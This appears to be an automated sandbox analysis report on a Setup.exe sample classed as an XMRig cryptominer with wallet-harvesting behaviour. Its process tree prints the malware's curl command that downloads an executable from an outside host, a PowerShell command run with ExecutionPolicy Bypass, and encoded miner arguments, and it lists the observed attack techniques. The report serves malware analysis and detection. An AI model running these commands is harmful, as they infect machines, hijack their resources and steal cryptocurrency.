Overview

overview

10

Static

static

3

AVAlLABLE_...3).zip

windows10-2004-x64

1

AVAlLABLE_...3).zip

windows11-ltsc_2024-x64

1

PASS_KEY.docx

windows10-2004-x64

1

PASS_KEY.docx

windows11-ltsc_2024-x64

1

π™Žπ™€οΏ½...οΏ½οΏ½.zip

windows10-2004-x64

1

π™Žπ™€οΏ½...οΏ½οΏ½.zip

windows11-ltsc_2024-x64

1

SETUP.zip

windows10-2004-x64

1

SETUP.zip

windows11-ltsc_2024-x64

1

Setup.exe

windows10-2004-x64

6

Setup.exe

windows11-ltsc_2024-x64

10

Analysis

  • user interaction
    yes
  • max time kernel
    150s
  • max time network
    153s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    02/11/2026, 02:54

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    Setup.exe
  • Size 1.1MB
  • Sample261102-dd3msass4p
  • SHA256 f768ff1b70aad0810715bec8935082f8845988722be2ffa991d94a5f880bb20f
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
adwaredefense_evasiondiscoveryexecutionxmrigminerpersistenceprivilege_escalationspyware

Malware Config

Signatures

  • Family: xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 TTPs 3 IoCs
    defense_evasionprivilege_escalation
  • XMRig Miner payload 17 IoCs
    miner
  • Downloads MZ/PE file 1 IoCs
  • Executes dropped EXE 3 IoCs
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Contacts third-party web service commonly abused for C2 1 TTPs 4 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Suspicious use of SetThreadContext 3 IoCs
  • Drops file in Program Files directory 3 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

    execution
  • Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

    discovery
  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies Internet Explorer settings 1 TTPs 2 IoCs
    adwarespyware
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 16 IoCs
  • Suspicious use of SendNotifyMessage 21 IoCs
  • Suspicious use of WriteProcessMemory 13 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • cURL User-Agent 1 IoCs

    Uses User-Agent string associated with cURL utility.

Processes

  • C:\Windows\explorer.exe
    explorer.exe /LOADSAVEDWINDOWS
    1⤵
    • Drops file in Program Files directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious behavior: GetForegroundWindowSpam
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of WriteProcessMemory
    PID:5772
    • C:\Users\Admin\AppData\Local\Temp\Setup.exe
      "C:\Users\Admin\AppData\Local\Temp\Setup.exe"
      2⤵
      • Drops file in Program Files directory
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of WriteProcessMemory
      PID:1252
    • C:\Windows\SYSTEM32\curl.exe
      curl.exe -fs -o "C:\Users\Admin\AppData\Local\Temp\0e5900930.exe" "https://cloudflare.gd/pyservice92.exe"
      2⤵
      • Downloads MZ/PE file
      PID:5388
    • C:\Users\Admin\AppData\Local\Temp\0e5900930.exe
      "C:\Users\Admin\AppData\Local\Temp\0e5900930.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:3376
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "$script = [ScriptBlock]::Create(($input | Out-String)); & $script .\def.ps1 C:\\"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:6008
      • C:\Users\Admin\AppData\Roaming\Microsoft\WindowsApps\Cache\Runtime\msservice2026_777b.exe
        "C:\Users\Admin\AppData\Roaming\Microsoft\WindowsApps\Cache\Runtime\msservice2026_777b.exe"
        3⤵
        • Suspicious use of NtCreateUserProcessOtherParentProcess
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Reads the TCP/IP host and domain name from the registry
        • Checks processor information in registry
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:4724
    • C:\Windows\system32\notepad.exe
      "C:\Windows\system32\notepad.exe" --encargs 6c490906002010084402241208054e724440064e310b02054029051e01182011011d40311602535a75574d441b615c5e335d021028013b70283a2205363e38062504571e21592c3637315c35022011252703030a233b2a1c305670012e2f2f02290a0f1f04510939012e003b312c3137342259143d2311560f37062c0836130c1957063c193b38703e3f1023064440194e71565c584e6c4919051d6149400a1e34490008166c10051b0b20001e4406280a195456714440084e331c4259
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:4176
    • C:\Windows\system32\notepad.exe
      "C:\Windows\system32\notepad.exe" --encargs 6c490906002010084402241208054e724440064e310b02054029051e01182011011d40311602535a75574d441b615c5e335d021028013b70283a2205363e38062504571e21592c3637315c35022011252703030a233b2a1c305670012e2f2f02290a0f1f04510939012e003b312c3137342259143d2311560f37062c0836130c1957063c193b38703e3f1023064440194e71565c584e6c4919051d6149400a1e34490008166c10051b0b20001e4406280a195456714440084e331c4259
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:4616
    • C:\Windows\system32\notepad.exe
      "C:\Windows\system32\notepad.exe" --encargs 6c490906002010084402241208054e724440064e310b02054029051e01182011011d40311602535a75574d441b615c5e335d021028013b70283a2205363e38062504571e21592c3637315c35022011252703030a233b2a1c305670012e2f2f02290a0f1f04510939012e003b312c3137342259143d2311560f37062c0836130c1957063c193b38703e3f1023064440194e71565c584e6c4919051d6149400a1e34490008166c10051b0b20001e4406280a19545d714440084e331c4259
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:4388
  • C:\Users\Admin\AppData\Roaming\Microsoft\WindowsApps\Cache\0e5900930.exe
    C:\Users\Admin\AppData\Roaming\Microsoft\WindowsApps\Cache\0e5900930.exe
    1⤵
    • Executes dropped EXE
    PID:4968
  • C:\Windows\System32\rundll32.exe
    C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
    1⤵
      PID:4480

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          0e5900930.exe
          • Path C:\Users\Admin\AppData\Local\Temp\0e5900930.exe
          • Size 6.3MB
          • SHA256 e8a91238df80f4649099f7cbec4460e0bc533a046a598392b14a378cc5d56075
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          msservice2026_777b.exe
          • Path C:\Users\Admin\AppData\Roaming\Microsoft\WindowsApps\Cache\Runtime\msservice2026_777b.exe
          • Size 7.9MB
          • SHA256 f470ca85402284a7c6913be7dbf73fc4651ccb10af5fad400a2a2d4894116ac2
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          memory/4176-55-0x000002902E740000-0x000002902E760000-memory.dmp
          Download

          memory/4176-56-0x00007FF791B00000-0x00007FF79235A000-memory.dmp
          Download

          memory/4388-68-0x00007FF790AA0000-0x00007FF7912FA000-memory.dmp
          Download

          memory/4388-62-0x00007FF790AA0000-0x00007FF7912FA000-memory.dmp
          Download

          memory/4388-72-0x00007FF790AA0000-0x00007FF7912FA000-memory.dmp
          Download

          memory/4388-70-0x00007FF790AA0000-0x00007FF7912FA000-memory.dmp
          Download

          memory/4388-76-0x00007FF790AA0000-0x00007FF7912FA000-memory.dmp
          Download

          memory/4388-66-0x00007FF790AA0000-0x00007FF7912FA000-memory.dmp
          Download

          memory/4388-64-0x00007FF790AA0000-0x00007FF7912FA000-memory.dmp
          Download

          memory/4388-74-0x00007FF790AA0000-0x00007FF7912FA000-memory.dmp
          Download

          memory/4388-92-0x00007FF790AA0000-0x00007FF7912FA000-memory.dmp
          Download

          memory/4388-90-0x00007FF790AA0000-0x00007FF7912FA000-memory.dmp
          Download

          memory/4388-80-0x00007FF790AA0000-0x00007FF7912FA000-memory.dmp
          Download

          memory/4616-59-0x00007FF6C1BC0000-0x00007FF6C241A000-memory.dmp
          Download

          memory/4724-58-0x00007FF707A20000-0x00007FF708218000-memory.dmp
          Download

          memory/4724-61-0x00007FF707A20000-0x00007FF708218000-memory.dmp
          Download

          memory/5772-31-0x0000000003930000-0x00000000039D3000-memory.dmp
          Download

          memory/5772-47-0x00000000011C0000-0x00000000011C1000-memory.dmp
          Download

          memory/5772-9-0x0000000003930000-0x00000000039D3000-memory.dmp
          Download

          memory/5772-10-0x0000000003930000-0x00000000039D3000-memory.dmp
          Download

          memory/5772-8-0x0000000003930000-0x00000000039D3000-memory.dmp
          Download

          memory/5772-21-0x0000000003930000-0x00000000039D3000-memory.dmp
          Download

          memory/5772-19-0x0000000003930000-0x00000000039D3000-memory.dmp
          Download

          memory/5772-18-0x0000000003930000-0x00000000039D3000-memory.dmp
          Download

          memory/5772-16-0x0000000003930000-0x00000000039D3000-memory.dmp
          Download

          memory/5772-36-0x0000000003930000-0x00000000039D3000-memory.dmp
          Download

          memory/5772-14-0x0000000003930000-0x00000000039D3000-memory.dmp
          Download

          memory/5772-13-0x0000000003930000-0x00000000039D3000-memory.dmp
          Download

          memory/5772-11-0x0000000003930000-0x00000000039D3000-memory.dmp
          Download

          memory/5772-26-0x0000000003930000-0x00000000039D3000-memory.dmp
          Download

          memory/5772-40-0x0000000003930000-0x00000000039D3000-memory.dmp
          Download

          memory/5772-0-0x0000000003930000-0x00000000039D3000-memory.dmp
          Download

          memory/5772-45-0x0000000003930000-0x00000000039D3000-memory.dmp
          Download

          memory/5772-25-0x0000000003930000-0x00000000039D3000-memory.dmp
          Download

          memory/5772-27-0x0000000003930000-0x00000000039D3000-memory.dmp
          Download

          memory/5772-28-0x0000000003930000-0x00000000039D3000-memory.dmp
          Download

          memory/5772-35-0x0000000003930000-0x00000000039D3000-memory.dmp
          Download

          memory/5772-30-0x0000000003930000-0x00000000039D3000-memory.dmp
          Download

          memory/5772-4-0x0000000003930000-0x00000000039D3000-memory.dmp
          Download

          memory/5772-32-0x0000000003930000-0x00000000039D3000-memory.dmp
          Download

          memory/5772-17-0x0000000003930000-0x00000000039D3000-memory.dmp
          Download

          memory/5772-34-0x0000000003930000-0x00000000039D3000-memory.dmp
          Download

          memory/5772-20-0x0000000003930000-0x00000000039D3000-memory.dmp
          Download

          memory/5772-22-0x0000000003930000-0x00000000039D3000-memory.dmp
          Download

          memory/5772-2-0x0000000003930000-0x00000000039D3000-memory.dmp
          Download

          memory/5772-3-0x0000000003930000-0x00000000039D3000-memory.dmp
          Download

          memory/5772-5-0x0000000003930000-0x00000000039D3000-memory.dmp
          Download

          memory/5772-1-0x0000000003930000-0x00000000039D3000-memory.dmp
          Download

          memory/5772-7-0x0000000003930000-0x00000000039D3000-memory.dmp
          Download

          memory/5772-6-0x0000000003930000-0x00000000039D3000-memory.dmp
          Download

          memory/6008-41-0x000001B736080000-0x000001B7360A2000-memory.dmp
          Download